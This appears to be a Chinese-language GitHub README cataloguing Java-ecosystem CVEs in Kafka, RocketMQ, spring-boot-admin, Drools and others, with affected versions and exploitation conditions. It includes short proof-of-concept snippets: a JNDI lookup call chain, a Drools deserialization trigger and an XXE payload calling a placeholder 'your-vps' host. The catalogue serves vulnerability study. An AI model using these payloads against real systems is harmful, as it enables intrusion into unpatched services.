这个仓库主要用于记录一些Java生态的CVE简要说明、利用条件以及相关学习文章。比较简单的CVE会给出简易poc。值得注意的是,本仓库关注的是目前主流的Java技术中存在的历史漏洞,而不是老古董。(持续更新中...)如有建议入选漏洞,欢迎👏提出issue👀。
Cobalt Strike < 4.7.1
- Cobalt Strike反制RCE
Apache Kafka 2.3.0 - 3.3.2
- 使用 KAFKA CONNECT通过SASL JAAS JNDILOGIN模块化配置可能进行RCE/拒绝服务攻击
new KafkaProducer<>(props)
-> KafkaProducer#KafkaProducer(...)
-> KafkaProducer#newSender(logContext, kafkaClient, this.metadata)
-> ClientUtils#createChannelBuilder(this.producerConfig, this.time, logContext)
-> ChannelBuilders#clientChannelBuilder(...)
-> ChannelBuilders#create(...)
-> ((ChannelBuilder)channelBuilder)#configure(configs)
-> LoginManager#acquireLoginManager(...)
-> new LoginManager(jaasContext, saslMechanism, configs, loginMetadata)
-> LoginContext#login()
-> LoginContext#invokePriv(LOGIN_METHOD)
-> LoginContext#invoke(methodName)
-> JndiLoginModule#login()
-> JndiLoginModule#attemptAuthentication(true)
-> InitialContext#lookup(userProvider)
只要有 XML xslt 转换使用场景
- 把xslt转换成class的时候存在溢出,导致攻击者可以上传精心构造的恶意xslt,通过xalan转换后得到恶意的class,这个过程中,恶意的class会被实例化导致代码执行。
RocketMQ4.6.0 最新版本
autoCreateTopicEnable=true默认设置
- 自动创建主题时存在目录穿越,可以达到任意创建新文件夹的效果。
RocketMQ < 5.1.0 broker可访问
- 已加入vulnhub
Affected versions
< 2.6.10
< 2.7.8
< 3.0.0-M6
- spring-boot-admin的消息通知器中message可以执行任意spel表达式导致代码注入
Affected versions < drools 7.69.0.Final
- drools中没有对streamUtils直接调用ObjectInputStream的readObject()方法并且没有进行限制,可能成为反序列化的入口
// 使用URLDNS链生成payload.txt
FileInputStream in = new FileInputStream("payload.txt");
KnowledgeBuilderImpl builder = new KnowledgeBuilderImpl();
Resource resource = new InputStreamResource(in);
builder.addKnowledgeResource(resource, ResourceType.PKG,null);
Affected versions < drools 7.59.0.Final
- XML External Entity (XXE) vulnerability in KieModuleMarshaller.java. The Validator class is not used correctly
FileInputStream fileInputStream = new FileInputStream("payload.xml");
KieModuleModelImpl.fromXML(fileInputStream);
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://your-vps">
]>
<evil>&xxe;</evil>